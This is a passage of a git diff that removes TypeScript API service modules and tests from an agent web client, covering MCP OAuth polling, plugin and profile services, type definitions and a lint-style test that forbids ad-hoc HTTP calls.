finalizeMcpTestResponse(result, validation, [substituted, server]); - } finally { - client.close(); - } - } - - static async startOAuth( - server: MCPServerConfig, - ): Promise { - const client = createMcpProbeClient(); - try { - return await McpService.startOAuthWithClient(client, server); - } finally { - client.close(); - } - } - - static async getOAuthStatus(jobId: string): Promise { - const client = createMcpProbeClient(); - try { - return await McpService.getOAuthStatusWithClient(client, jobId); - } finally { - client.close(); - } - } - - static async submitOAuthCallback( - jobId: string, - callbackUrl: string, - ): Promise { - const client = createMcpProbeClient(); - try { - return await McpService.submitOAuthCallbackWithClient( - client, - jobId, - callbackUrl, - ); - } finally { - client.close(); - } - } - - static async authorizeOAuth( - server: MCPServerConfig, - ): Promise { - const validation = getCredentialValidationForServer(server); - const finalize = (result: ExtendedMCPTestResponse) => - finalizeMcpTestResponse(result, validation, [server]); - const popup = window.open("about:blank", "_blank"); - const client = createMcpProbeClient(); - try { - const start = await McpService.startOAuthWithClient(client, server); - if (!start.ok || !start.job_id || !start.authorization_url) { - popup?.close(); - return finalize({ - ok: false, - error: start.error || "Could not start OAuth authorization", - error_kind: start.error_kind || "unknown", - }); - } - - let status = await McpService.getOAuthStatusWithClient( - client, - start.job_id, - ); - for (let attempt = 0; attempt < 20; attempt += 1) { - if (status.status === "succeeded" || status.status === "failed") { - popup?.close(); - return finalize(oauthStatusToTestResponse(status)); - } - if (status.callback_ready) break; - await sleep(250); - status = await McpService.getOAuthStatusWithClient( - client, - start.job_id, - ); - } - - if (popup) { - popup.location.href = start.authorization_url; - } - - for ( - let attempt = 0; - attempt < OAUTH_MCP_TEST_TIMEOUT_SECONDS; - attempt += 1 - ) { - await sleep(1000); - status = await McpService.getOAuthStatusWithClient( - client, - start.job_id, - ); - if (status.status === "succeeded" || status.status === "failed") { - popup?.close(); - return finalize(oauthStatusToTestResponse(status)); - } - } - - return { - ok: false, - error: "OAuth authorization timed out", - error_kind: "timeout", - }; - } finally { - client.close(); - } - } - - private static async startOAuthWithClient( - client: MCPClient, - server: MCPServerConfig, - ): Promise { - const { request } = await buildMcpTestRequest(server); - return client.startOAuth(request as MCPTestRequest); - } - - private static async getOAuthStatusWithClient( - client: MCPClient, - jobId: string, - ): Promise { - return client.getOAuthStatus(jobId); - } - - private static async submitOAuthCallbackWithClient( - client: MCPClient, - jobId: string, - callbackUrl: string, - ): Promise { - return client.submitOAuthCallback(jobId, { callback_url: callbackUrl }); - } -} - -export default McpService; diff --git a/src/api/no-direct-agent-server-calls.test.ts b/src/api/no-direct-agent-server-calls.test.ts deleted file mode 100644 index 3144c8c1a..000000000 --- a/src/api/no-direct-agent-server-calls.test.ts +++ /dev/null @@ -1,77 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { readdirSync, readFileSync } from "node:fs"; -import { join, relative } from "node:path"; - -const SRC_ROOT = join(process.cwd(), "src"); -const EXCLUDED_SEGMENTS = new Set(["mocks", "routeTree.gen.ts"]); -const ALLOWED_AD_HOC_HTTP_FILES = new Set([ - "api/automation-service/automation-service.api.ts", - "api/cloud/proxy.ts", - "api/main-app-auth.ts", -]); - -function collectSourceFiles(dir: string): string[] { - return readdirSync(dir, { withFileTypes: true }).flatMap((entry) => { - const fullPath = join(dir, entry.name); - // Normalize to forward slashes so the path matches ALLOWED_AD_HOC_HTTP_FILES - // entries on Windows where path.relative() returns backslash-separated paths. - const relPath = relative(SRC_ROOT, fullPath).replace(/\\/g, "/"); - - if (entry.isDirectory()) { - if (EXCLUDED_SEGMENTS.has(entry.name)) return []; - return collectSourceFiles(fullPath); - } - - if (EXCLUDED_SEGMENTS.has(entry.name)) return []; - if (!/\.(ts|tsx)$/.test(entry.name)) return []; - if (/\.(test|spec)\.(ts|tsx)$/.test(entry.name)) return []; - return [relPath]; - }); -} - -describe("agent-server API access", () => { - it("uses typed @openhands/typescript-client access instead of ad-hoc HTTP", () => { - const violations = collectSourceFiles(SRC_ROOT).flatMap((relPath) => { - const source = readFileSync(join(SRC_ROOT, relPath), "utf8"); - const fileViolations: string[] = []; - - if (/openHands\s*\./.test(source)) { - fileViolations.push("uses the shared axios instance directly"); - } - - if (/\bcreateHttpClient\s*\(/.test(source)) { - fileViolations.push("uses createHttpClient directly"); - } - - if ( - /from\s+["']@openhands\/typescript-client\/client\/http-client["']/.test( - source, - ) - ) { - fileViolations.push("imports the low-level SDK HttpClient directly"); - } - - if (/\bnew\s+HttpClient\s*\(/.test(source)) { - fileViolations.push("constructs HttpClient directly"); - } - - if ( - (/\baxios\s*\(/.test(source) || - /\baxios\s*\.\s*(?:create|get|post|put|patch|delete|request)\s*\(/.test( - source, - )) && - !ALLOWED_AD_HOC_HTTP_FILES.has(relPath) - ) { - fileViolations.push("uses axios directly for HTTP calls"); - } - - if (/\bfetch\s*\([\s\S]{0,200}['"`]\/api\//.test(source)) { - fileViolations.push("calls an /api path with fetch directly"); - } - - return fileViolations.map((violation) => `${relPath}: ${violation}`); - }); - - expect(violations).toEqual([]); - }); -}); diff --git a/src/api/open-hands.types.ts b/src/api/open-hands.types.ts deleted file mode 100644 index 072a1e807..000000000 --- a/src/api/open-hands.types.ts +++ /dev/null @@ -1,162 +0,0 @@ -import { ConversationStatus } from "#/types/conversation-status"; -import { RuntimeStatus } from "#/types/runtime-status"; -import { Provider } from "#/types/settings"; - -export interface ErrorResponse { - error: string; -} - -export interface SaveFileSuccessResponse { - message: string; -} - -export interface FileUploadSuccessResponse { - uploaded_files: string[]; - skipped_files: { name: string; reason: string }[]; -} - -export interface FeedbackBodyResponse { - message: string; - feedback_id: string; - password: string; -} - -export interface FeedbackResponse { - statusCode: number; - body: FeedbackBodyResponse; -} - -export interface AuthenticationResponse { - message: string; - login?: string; // Only present when allow list is enabled -} - -export interface Feedback { - version: string; - email: string; - token: string; - polarity: "positive" | "negative"; - permissions: "public" | "private"; - trajectory: unknown[]; -} - -export interface GetVSCodeUrlResponse { - vscode_url: string | null; - error?: string; -} - -export interface GetTrajectoryResponse { - trajectory: unknown[] | null; - error?: string; -} - -export interface RepositorySelection { - selected_repository: string | null; - selected_branch: string | null; - git_provider: Provider | null; -} - -export type ConversationTrigger = - | "resolver" - | "gui" - | "suggested_task" - | "microagent_management"; - -export interface Conversation { - conversation_id: string; - title: string; - selected_repository: string | null; - selected_branch: string | null; - git_provider: Provider | null; - last_updated_at: string; - created_at: string; - status: ConversationStatus; - runtime_status: RuntimeStatus | null; - trigger?: ConversationTrigger; - url: string | null; - session_api_key: string | null; - pr_number?: number[] | null; - conversation_version?: "V0" | "V1"; - sub_conversation_ids?: string[]; - public?: boolean; - llm_model?: string | null; -} - -export interface ResultSet { - results: T[]; - next_page_id: string | null; -} - -/** - * @deprecated Use AgentServerGitChangeStatus for new code. This type is maintained for backward compatibility with V0 API. - */ -export type GitChangeStatus = "M" | "A" | "D" | "R" | "U"; - -export type AgentServerGitChangeStatus = - | "MOVED" - | "ADDED" - | "DELETED" - | "UPDATED"; - -export interface GitChange { - status: GitChangeStatus; - path: string; -} - -export interface GitChangeDiff { - modified: string; - original: string; -} - -export interface GitCommit { - sha: string; - shortSha: string; - subject: string; - author: string; - // ISO 8601 author date with UTC offset (git log %aI). - timestamp: string; -} - -export interface GitCommitsPage { - commits: GitCommit[]; - hasMore: boolean; -} - -export interface InputMetadata { - name: string; - description: string; -} - -export interface Microagent { - name: string; - type: "repo" | "knowledge" | "agentskills"; - content: string; - triggers: string[]; -} - -export interface GetMicroagentsResponse { - microagents: Microagent[]; -} - -export interface GetMicroagentPromptResponse { - status: string; - prompt: string; -} - -export interface IOption { - label: string; - value: T; -} - -export interface MicroagentContentResponse { - content: string; - path: string; - git_provider: Provider; - triggers: string[]; -} - -export type GetFilesResponse = string[]; - -export interface GetFileResponse { - code: string; -} diff --git a/src/api/option-service/option-service.api.ts b/src/api/option-service/option-service.api.ts deleted file mode 100644 index 62ca8f18c..000000000 --- a/src/api/option-service/option-service.api.ts +++ /dev/null @@ -1,48 +0,0 @@ -import { LLMMetadataClient } from "@openhands/typescript-client/clients"; -import { loadAgentServerInfo } from "../agent-server-compatibility"; -import { getAgentServerClientOptions } from "../agent-server-client-options"; -import { ModelsResponse, WebClientConfig } from "./option.types"; - -class OptionService { - static async getModels(): Promise { - const llmClient = new LLMMetadataClient(getAgentServerClientOptions()); - const [models, verifiedByProvider, providers] = await Promise.all([ - llmClient.getModels(), - llmClient.getVerifiedModels(), - llmClient.getProviders(), - ]); - - const verifiedProviders = Object.keys(verifiedByProvider ?? {}).sort(); - const verifiedModels = verifiedProviders.flatMap( - (provider) => verifiedByProvider[provider] ?? [], - ); - - return { - models: models ?? [], - verified_models: verifiedModels, - verified_providers: - providers?.filter((provider) => verifiedProviders.includes(provider)) ?? - verifiedProviders, - default_model: verifiedModels[0] ?? models?.[0] ?? "", - }; - } - - static async getConfig(): Promise { - await loadAgentServerInfo(); - - return { - feature_flags: { - hide_llm_settings: false, - hide_users_page: true, - }, - providers_configured: [], - maintenance_start_time: null, - recaptcha_site_key: null, - faulty_models: [], - error_message: null, - updated_at: new Date().toISOString(), - }; - } -} - -export default OptionService; diff --git a/src/api/option-service/option.types.ts b/src/api/option-service/option.types.ts deleted file mode 100644 index 3d27cdedf..000000000 --- a/src/api/option-service/option.types.ts +++ /dev/null @@ -1,33 +0,0 @@ -import { Provider } from "#/types/settings"; - -/** - * Structured response from ``GET /api/options/models``. - * - * The backend is the single source of truth — the frontend no longer carries - * its own hardcoded verified-model lists. - */ -export interface ModelsResponse { - /** Flat list of ``provider/model`` strings (bare names already prefixed). */ - models: string[]; - /** Model names (without provider) that OpenHands has verified to work well. */ - verified_models: string[]; - /** Provider names shown in the "Verified" section of the model selector. */ - verified_providers: string[]; - /** Recommended default model id (e.g. ``openhands/claude-opus-4-5-20251101``). */ - default_model: string; -} - -export interface WebClientFeatureFlags { - hide_llm_settings: boolean; - hide_users_page: boolean; -} - -export interface WebClientConfig { - feature_flags: WebClientFeatureFlags; - providers_configured: Provider[]; - maintenance_start_time: string | null; - recaptcha_site_key: string | null; - faulty_models: string[]; - error_message: string | null; - updated_at: string; -} diff --git a/src/api/plugins-management-service.test.ts b/src/api/plugins-management-service.test.ts deleted file mode 100644 index 924abec5c..000000000 --- a/src/api/plugins-management-service.test.ts +++ /dev/null @@ -1,137 +0,0 @@ -import { PluginsClient } from "@openhands/typescript-client/clients"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import PluginsManagementService from "#/api/plugins-management-service"; - -vi.mock("@openhands/typescript-client/clients", () => ({ - PluginsClient: vi.fn(), -})); - -const listInstalledPlugins = vi.fn(); -const installPlugin = vi.fn(); -const setPluginEnabled = vi.fn(); -const uninstallPlugin = vi.fn(); -const refreshPlugin = vi.fn(); -const close = vi.fn(); - -function useBackend(kind: "local" | "cloud"): void { - const backend: Backend = { - id: kind, - name: kind, - host: "http://127.0.0.1:8001", - apiKey: "session-key", - kind, - }; - setRegisteredBackends([backend]); - setActiveSelection({ backendId: kind, orgId: null }); -} - -beforeEach(() => { - vi.clearAllMocks(); - __resetActiveStoreForTests(); - vi.mocked(PluginsClient).mockImplementation(function MockPluginsClient() { - return { - listInstalledPlugins, - installPlugin, - setPluginEnabled, - uninstallPlugin, - refreshPlugin, - close, - } as unknown as PluginsClient; - } as unknown as typeof PluginsClient); -}); - -afterEach(() => { - __resetActiveStoreForTests(); -}); - -const installedPlugin = { - name: "demo-plugin", - version: "1.0.0", - description: "A demo plugin", - enabled: true, - source: "github:OpenHands/extensions", - resolved_ref: null, - repo_path: "plugins/demo-plugin", - installed_at: "2026-06-01T00:00:00Z", - install_path: "/home/.openhands/plugins/installed/demo-plugin", -}; - -describe("PluginsManagementService", () => { - it("lists installed plugins from the local agent-server", async () => { - useBackend("local"); - listInstalledPlugins.mockResolvedValue({ plugins: [installedPlugin] }); - - const result = await PluginsManagementService.listInstalledPlugins(); - - expect(result).toEqual([installedPlugin]); - expect(listInstalledPlugins).toHaveBeenCalledTimes(1); - }); - - it("returns an empty installed list on a cloud backend without calling the client", async () => { - useBackend("cloud"); - - const result = await PluginsManagementService.listInstalledPlugins(); - - expect(result).toEqual([]); - expect(PluginsClient).not.toHaveBeenCalled(); - }); - - it("returns an empty installed list when the local request fails", async () => { - useBackend("local"); - listInstalledPlugins.mockRejectedValue(new Error("unreachable")); - - const result = await PluginsManagementService.listInstalledPlugins(); - - expect(result).toEqual([]); - }); - - it("forwards source, ref, and repo_path when installing a plugin", async () => { - useBackend("local"); - installPlugin.mockResolvedValue(installedPlugin); - - await PluginsManagementService.installPlugin({ - source: "github:OpenHands/extensions", - ref: "main", - repo_path: "plugins/demo-plugin", - }); - - expect(installPlugin).toHaveBeenCalledWith({ - source: "github:OpenHands/extensions", - ref: "main", - repo_path: "plugins/demo-plugin", - }); - }); - - it("forwards the name and enabled flag when toggling a plugin", async () => { - useBackend("local"); - setPluginEnabled.mockResolvedValue({ name: "demo-plugin", enabled: false }); - - await PluginsManagementService.setPluginEnabled("demo-plugin", false); - - expect(setPluginEnabled).toHaveBeenCalledWith("demo-plugin", false); - }); - - it("forwards the plugin name when uninstalling", async () => { - useBackend("local"); - uninstallPlugin.mockResolvedValue({ message: "ok" }); - - await PluginsManagementService.uninstallPlugin("demo-plugin"); - - expect(uninstallPlugin).toHaveBeenCalledWith("demo-plugin"); - }); - - it("forwards the plugin name when refreshing", async () => { - useBackend("local"); - refreshPlugin.mockResolvedValue({ message: "ok", plugin: installedPlugin }); - - await PluginsManagementService.refreshPlugin("demo-plugin"); - - expect(refreshPlugin).toHaveBeenCalledWith("demo-plugin"); - }); -}); diff --git a/src/api/plugins-management-service.ts b/src/api/plugins-management-service.ts deleted file mode 100644 index 68ffadf17..000000000 --- a/src/api/plugins-management-service.ts +++ /dev/null @@ -1,136 +0,0 @@ -import { PluginsClient } from "@openhands/typescript-client/clients"; -import { getActiveBackend } from "./backend-registry/active-store"; -import { getAgentServerClientOptions } from "./agent-server-client-options"; -import type { PluginBundledSkill } from "./plugins-service"; - -/** - * An installed plugin, as returned by the agent-server management router - * (`GET /api/plugins/installed`). Matches the typescript-client - * `InstalledPluginInfo`. The contents fields (`skills`, `files`, relative to - * `install_path`) are absent on older agent-servers and null when the - * installed plugin directory failed to load. - */ -export interface InstalledPluginInfo { - name: string; - version: string; - description: string | null; - enabled: boolean; - source: string; - resolved_ref?: string | null; - repo_path?: string | null; - installed_at: string; - install_path: string; - skills?: PluginBundledSkill[] | null; - files?: string[] | null; -} - -/** Coordinates for installing a plugin from a git source or local path. */ -export interface InstallPluginRequest { - source: string; - ref?: string | null; - repo_path?: string | null; - force?: boolean; -} - -/** - * The slice of the typescript-client `PluginsClient` this service drives. The - * installed `@openhands/typescript-client` package does not yet export these - * management methods (they ship in typescript-client PRs #222/#223); narrowing - * to this local interface keeps `vitest` (types stripped) and `eslint` green - * until the client is republished, at which point the cast below can be dropped. - */ -interface PluginsManagementClient { - listInstalledPlugins(): Promise<{ plugins: InstalledPluginInfo[] }>; - installPlugin(request: InstallPluginRequest): Promise; - setPluginEnabled( - name: string, - enabled: boolean, - ): Promise<{ name: string; enabled: boolean }>; - uninstallPlugin(name: string): Promise<{ message: string }>; - refreshPlugin( - name: string, - ): Promise<{ message: string; plugin: InstalledPluginInfo }>; -} - -function isCloudBackend(): boolean { - return getActiveBackend().backend.kind === "cloud"; -} - -function getManagementClient(): PluginsManagementClient { - return new PluginsClient( - getAgentServerClientOptions(), - ) as unknown as PluginsManagementClient; -} - -/** - * Front-end management layer for installed plugins: list / install / enable / - * disable / uninstall / refresh. Kept separate from the read-only catalog - * service (`plugins-service.ts`), exactly as skills separate the marketplace - * catalog from install actions. - * - * Local backend only for now (per Appendix C Q5): installed plugins live on the - * local agent-server's `~/.openhands/plugins/installed/`. A cloud backend has no - * per-user installed store yet, so reads return an empty list and mutating - * actions throw (the UI also disables them on cloud). - */ -class PluginsManagementService { - static async listInstalledPlugins(): Promise { - if (isCloudBackend()) { - return []; - } - - try { - const response = await getManagementClient().listInstalledPlugins(); - return response.plugins ?? []; - } catch { - // Agent-server may predate the plugins router or be unreachable; surface - // an empty list rather than throwing (mirrors the catalog service). - return []; - } - } - - static async installPlugin( - request: InstallPluginRequest, - ): Promise { - if (isCloudBackend()) { - throw new Error( - "Installing plugins is only available on a local backend.", - ); - } - return getManagementClient().installPlugin(request); - } - - static async setPluginEnabled( - name: string, - enabled: boolean, - ): Promise<{ name: string; enabled: boolean }> { - if (isCloudBackend()) { - throw new Error( - "Enabling and disabling plugins is only available on a local backend.", - ); - } - return getManagementClient().setPluginEnabled(name, enabled); - } - - static async uninstallPlugin(name: string): Promise<{ message: string }> { - if (isCloudBackend()) { - throw new Error( - "Uninstalling plugins is only available on a local backend.", - ); - } - return getManagementClient().uninstallPlugin(name); - } - - static async refreshPlugin( - name: string, - ): Promise<{ message: string; plugin: InstalledPluginInfo }> { - if (isCloudBackend()) { - throw new Error( - "Refreshing plugins is only available on a local backend.", - ); - } - return getManagementClient().refreshPlugin(name); - } -} - -export default PluginsManagementService; diff --git a/src/api/plugins-service.test.ts b/src/api/plugins-service.test.ts deleted file mode 100644 index 78d4dbac1..000000000 --- a/src/api/plugins-service.test.ts +++ /dev/null @@ -1,159 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { - FileClient, - PluginsClient, -} from "@openhands/typescript-client/clients"; -import { - setActiveSelection, - setRegisteredBackends, -} from "./backend-registry/active-store"; -import PluginsService from "./plugins-service"; - -vi.mock("@openhands/typescript-client/clients", () => ({ - PluginsClient: vi.fn(), - FileClient: vi.fn(), -})); - -const getPluginsMarketplace = vi.fn(); -const getPlugins = vi.fn(); -const downloadFile = vi.fn(); -const close = vi.fn(); - -function useBackend(kind: "local" | "cloud"): void { - setRegisteredBackends([ - { - id: kind, - name: kind, - host: "http://127.0.0.1:8001", - apiKey: "session-key", - kind, - }, - ]); - setActiveSelection({ backendId: kind, orgId: null }); -} - -describe("PluginsService.getPluginsMarketplace", () => { - beforeEach(() => { - vi.clearAllMocks(); - vi.mocked(PluginsClient).mockImplementation(function MockPluginsClient() { - return { getPluginsMarketplace, close } as unknown as PluginsClient; - } as unknown as typeof PluginsClient); - }); - - it("returns the catalog from the local agent-server", async () => { - useBackend("local"); - const plugin = { - name: "city-weather", - description: "Weather plugin", - source: "github:OpenHands/extensions", - ref: null, - repo_path: "plugins/city-weather", - installed: false, - }; - getPluginsMarketplace.mockResolvedValue({ plugins: [plugin] }); - - const result = await PluginsService.getPluginsMarketplace(); - - expect(result).toEqual([plugin]); - expect(getPluginsMarketplace).toHaveBeenCalledTimes(1); - }); - - it("returns an empty catalog on a cloud backend without calling the client", async () => { - useBackend("cloud"); - - const result = await PluginsService.getPluginsMarketplace(); - - expect(result).toEqual([]); - expect(PluginsClient).not.toHaveBeenCalled(); - }); - - it("returns an empty catalog when the local request fails", async () => { - useBackend("local"); - getPluginsMarketplace.mockRejectedValue(new Error("unreachable")); - - const result = await PluginsService.getPluginsMarketplace(); - - expect(result).toEqual([]); - }); -}); - -describe("PluginsService.getLocalPlugins", () => { - beforeEach(() => { - vi.clearAllMocks(); - vi.mocked(PluginsClient).mockImplementation(function MockPluginsClient() { - return { getPlugins, close } as unknown as PluginsClient; - } as unknown as typeof PluginsClient); - }); - - it("requests user-level local plugins from the local agent-server", async () => { - useBackend("local"); - const plugin = { - name: "hello-local", - version: "1.0.0", - description: "A local plugin", - }; - getPlugins.mockResolvedValue({ plugins: [plugin] }); - - const result = await PluginsService.getLocalPlugins(); - - expect(result).toEqual([plugin]); - expect(getPlugins).toHaveBeenCalledWith({ - load_user: true, - load_project: false, - }); - }); - - it("returns an empty list on a cloud backend without calling the client", async () => { - useBackend("cloud"); - - const result = await PluginsService.getLocalPlugins(); - - expect(result).toEqual([]); - expect(PluginsClient).not.toHaveBeenCalled(); - }); -}); - -describe("PluginsService.getPluginFileContent", () => { - beforeEach(() => { - vi.clearAllMocks(); - vi.mocked(FileClient).mockImplementation(function MockFileClient() { - return { downloadFile, close } as unknown as FileClient; - } as unknown as typeof FileClient); - }); - - it("downloads the file under the plugin directory and decodes it as text", async () => { - useBackend("local"); - downloadFile.mockResolvedValue(new TextEncoder().encode("# Hello").buffer); - - const result = await PluginsService.getPluginFileContent( - "/plugins/demo", - "docs/README.md", - ); - - expect(result).toEqual({ kind: "text", text: "# Hello" }); - expect(downloadFile).toHaveBeenCalledWith("/plugins/demo/docs/README.md"); - }); - - it("flags content containing NUL bytes as binary", async () => { - useBackend("local"); - downloadFile.mockResolvedValue( - new Uint8Array([0x89, 0x50, 0x00, 0x47]).buffer, - ); - - const result = await PluginsService.getPluginFileContent( - "/plugins/demo", - "logo.png", - ); - - expect(result).toEqual({ kind: "binary", text: null }); - }); - - it("rejects on a cloud backend without calling the client", async () => { - useBackend("cloud"); - - await expect( - PluginsService.getPluginFileContent("/plugins/demo", "README.md"), - ).rejects.toThrow(); - expect(FileClient).not.toHaveBeenCalled(); - }); -}); diff --git a/src/api/plugins-service.ts b/src/api/plugins-service.ts deleted file mode 100644 index 38e95116e..000000000 --- a/src/api/plugins-service.ts +++ /dev/null @@ -1,150 +0,0 @@ -import { - FileClient, - PluginsClient, -} from "@openhands/typescript-client/clients"; -import { getActiveBackend } from "./backend-registry/active-store"; -import { getAgentServerClientOptions } from "./agent-server-client-options"; - -/** Summary of a skill bundled in a plugin (agent-server `PluginSkillSummary`). */ -export interface PluginBundledSkill { - name: string; - description?: string | null; -} - -/** - * A plugin in the dynamic marketplace catalog, with attachable coordinates and - * install state. Matches the agent-server `MarketplacePluginInfo` / the - * typescript-client `MarketplacePlugin`. The contents fields (`path`, `skills`, - * `files`) are populated when the entry resolves to a directory in the - * server's local marketplace clone, and are absent on older agent-servers. - */ -export interface MarketplacePlugin { - name: string; - description: string | null; - source: string; - ref?: string | null; - repo_path?: string | null; - installed: boolean; - path?: string | null; - skills?: PluginBundledSkill[] | null; - files?: string[] | null; -} - -/** - * A locally-discovered ("ambient") plugin reported by the agent-server — one - * found in the user's local plugin directories (e.g. `~/.agents/plugins`). - * These auto-load into conversations and are not managed via install/uninstall, - * so the Plugins page renders them as a read-only "Local" group. Matches the - * typescript-client `PluginInfo`; the contents fields are absent on older - * agent-servers. - */ -export interface LocalPlugin { - name: string; - version: string; - description: string; - path?: string; - skills?: PluginBundledSkill[]; - files?: string[]; -} - -/** Content of a single plugin file fetched for the detail-modal viewer. */ -export interface PluginFileContent { - kind: "text" | "binary"; - text: string | null; -} - -function isLikelyBinary(buffer: ArrayBuffer): boolean { - // Same heuristic git uses: presence of a NUL byte in the first ~8KB. Small - // private copy of `isLikelyBinary` in `use-workspace-file-content.ts` — that - // module is conversation-workspace-specific and heavy to import from here. - const view = new Uint8Array(buffer, 0, Math.min(buffer.byteLength, 8000)); - for (let i = 0; i < view.length; i += 1) { - if (view[i] === 0) return true; - } - return false; -} - -class PluginsService { - /** - * Fetch the dynamic plugins marketplace catalog. - * - * Local backend only for now: the catalog is fetched at run time from the - * agent-server via the typed client (no bundled catalog, so the list stays - * dynamic). On a cloud backend an empty catalog is returned — there is no - * cloud plugins-marketplace endpoint yet (tracked as a follow-up ticket). - */ - static async getPluginsMarketplace(): Promise { - if (getActiveBackend().backend.kind === "cloud") { - return []; - } - - try { - const response = await new PluginsClient( - getAgentServerClientOptions(), - ).getPluginsMarketplace(); - return (response.plugins ?? []) as MarketplacePlugin[]; - } catch { - // Agent-server may not support the plugins endpoint or be unreachable; - // surface an empty catalog rather than throwing. - return []; - } - } - - /** - * Fetch the locally-discovered ("ambient") plugins from the agent-server. - * - * Only user-level plugins are requested (`~/.agents/plugins`, - * `~/.openhands/plugins`, plus enabled installed plugins): the Plugins page is - * global, so there is no project workspace to scope project plugins to. - * - * Local backend only — a cloud backend has no local plugin directories, so an - * empty list is returned. Errors surface as an empty list (mirrors the - * catalog) rather than throwing. - */ - static async getLocalPlugins(): Promise { - if (getActiveBackend().backend.kind === "cloud") { - return []; - } - - try { - const response = await new PluginsClient( - getAgentServerClientOptions(), - ).getPlugins({ load_user: true, load_project: false }); - return (response.plugins ?? []) as LocalPlugin[]; - } catch { - return []; - } - } - - /** - * Fetch one plugin file's content for the detail-modal viewer. `basePath` is - * the plugin directory reported by the agent-server (`path`/`install_path`) - * and `relativePath` a POSIX path from the plugin's `files` listing. - * - * Local backend only — plugin files live on the local agent-server's disk. - * Errors propagate so the caller can render a load-error state. - */ - static async getPluginFileContent( - basePath: string, - relativePath: string, - ): Promise { - if (getActiveBackend().backend.kind === "cloud") { - throw new Error( - "Reading plugin files is only available on a local backend.", - ); - } - - const buffer = await new FileClient( - getAgentServerClientOptions(), - ).downloadFile(`${basePath}/${relativePath}`); - if (isLikelyBinary(buffer)) { - return { kind: "binary", text: null }; - } - return { - kind: "text", - text: new TextDecoder("utf-8", { fatal: false }).decode(buffer), - }; - } -} - -export default PluginsService; diff --git a/src/api/profiles-service/profiles-service.api.ts b/src/api/profiles-service/profiles-service.api.ts deleted file mode 100644 index 725324206..000000000 --- a/src/api/profiles-service/profiles-service.api.ts +++ /dev/null @@ -1,115 +0,0 @@ -/** - * ProfilesService is the single entry point for LLM-profile CRUD, routing per - * active backend so callers (hooks, the settings manager) stay backend-agnostic: - * - local agent-server: the SDK's ProfilesClient (`/api/profiles`), created - * per-call to pick up current backend configuration; - * - cloud app-server: `src/api/cloud/profiles-service.api.ts` (the org-gated - * `/api/organizations/{orgId}/profiles` routes, or the per-user settings - * route as a fallback) via the org-scoped cloud proxy. - * This mirrors how SettingsService branches to fetchCloudSettings(). - * - * Uses ProfilesClient from @openhands/typescript-client v0.2.0+. - * All types are re-exported from the SDK for consumer convenience. - * - * Note: Unlike some SDK clients, we don't call client.close() here for - * consistency with other services (SettingsService, SecretsService) that - * also create SDK clients without explicit cleanup. The SDK clients use - * fetch-based HTTP which doesn't require connection cleanup. - */ -import { - ProfilesClient, - type GetProfileOptions, -} from "@openhands/typescript-client/clients"; -import type { - ProfileInfo, - ProfileListResponse, - ProfileDetailResponse, - ProfileMutationResponse, - ActivateProfileResponse, - SaveProfileRequest, - ExposeSecretsMode, -} from "@openhands/typescript-client"; -import { getAgentServerClientOptions } from "../agent-server-client-options"; -import { getActiveBackend } from "../backend-registry/active-store"; -import { - activateCloudProfile, - deleteCloudProfile, - fetchCloudProfile, - fetchCloudProfiles, - renameCloudProfile, - saveCloudProfile, -} from "../cloud/profiles-service.api"; - -// Re-export SDK types for consumers -export type { - ProfileInfo, - ProfileListResponse, - ProfileDetailResponse, - ProfileMutationResponse, - ActivateProfileResponse, - SaveProfileRequest, - ExposeSecretsMode, -}; - -function isCloudBackend(): boolean { - return getActiveBackend().backend.kind === "cloud"; -} - -class ProfilesService { - static async listProfiles(): Promise { - if (isCloudBackend()) return fetchCloudProfiles(); - return new ProfilesClient(getAgentServerClientOptions()).listProfiles(); - } - - static async getProfile( - name: string, - exposeSecrets?: ExposeSecretsMode, - ): Promise { - // Cloud never exposes profile secrets (api_key is always nulled with an - // api_key_set flag), so `exposeSecrets` is local-only. - if (isCloudBackend()) return fetchCloudProfile(name); - const options: GetProfileOptions = exposeSecrets ? { exposeSecrets } : {}; - return new ProfilesClient(getAgentServerClientOptions()).getProfile( - name, - options, - ); - } - - static async saveProfile( - name: string, - request: SaveProfileRequest, - ): Promise { - if (isCloudBackend()) return saveCloudProfile(name, request); - return new ProfilesClient(getAgentServerClientOptions()).saveProfile( - name, - request, - ); - } - - static async deleteProfile(name: string): Promise { - if (isCloudBackend()) return deleteCloudProfile(name); - return new ProfilesClient(getAgentServerClientOptions()).deleteProfile( - name, - ); - } - - static async renameProfile( - name: string, - newName: string, - ): Promise { - if (isCloudBackend()) return renameCloudProfile(name, newName); - return new ProfilesClient(getAgentServerClientOptions()).renameProfile( - name, - newName, - ); - } - - static async activateProfile(name: string): Promise { - if (isCloudBackend()) return activateCloudProfile(name); - return new ProfilesClient(getAgentServerClientOptions()).activateProfile( - name, - ); - } -} - -export default ProfilesService; diff --git a/src/api/runtime-service/agent-server-runtime-service.ts b/src/api/runtime-service/agent-server-runtime-service.ts deleted file mode 100644 index 83d45845c..000000000 --- a/src/api/runtime-service/agent-server-runtime-service.ts +++ /dev/null @@ -1,96 +0,0 @@ -import { FileClient } from "@openhands/typescript-client/clients"; -import { RemoteWorkspace } from "@openhands/typescript-client/workspace/remote-workspace"; -import { getAgentServerClientOptions } from "#/api/agent-server-client-options"; -import { getActiveBackend } from "#/api/backend-registry/active-store"; -import { callCloudProxy } from "#/api/cloud/proxy"; -import { buildHttpBaseUrl } from "#/utils/websocket-url"; - -export interface CommandResult { - exit_code: number; - stdout: string; - stderr: string; -} - -/** - * Cloud-aware runtime operations for agent-server conversations. - * - * In **local** mode the runtime is reachable directly from the browser - * (e.g. `127.0.0.1:18000`) so the SDK's typed clients work fine. - * In **cloud** mode the runtime lives at `*.prod-runtime.all-hands.dev`, - * which doesn't allow CORS from `localhost`, so all calls go through - * `callCloudProxy` with the runtime URL as `hostOverride` and the - * conversation's `session_api_key` as auth — server-side hop, no CORS. - */ -class AgentServerRuntimeService { - static async executeCommand( - conversationUrl: string | null | undefined, - sessionApiKey: string | null | undefined, - command: string, - cwd?: string, - timeout = 30, - ): Promise { - const active = getActiveBackend().backend; - - if (active.kind === "cloud" && conversationUrl) { - const output = await callCloudProxy<{ - exit_code?: number; - stdout?: string; - stderr?: string; - }>({ - backend: active, - method: "POST", - hostOverride: buildHttpBaseUrl(conversationUrl), - path: "/api/bash/execute_bash_command", - body: { - command, - ...(cwd ? { cwd } : {}), - timeout: Math.floor(timeout), - }, - 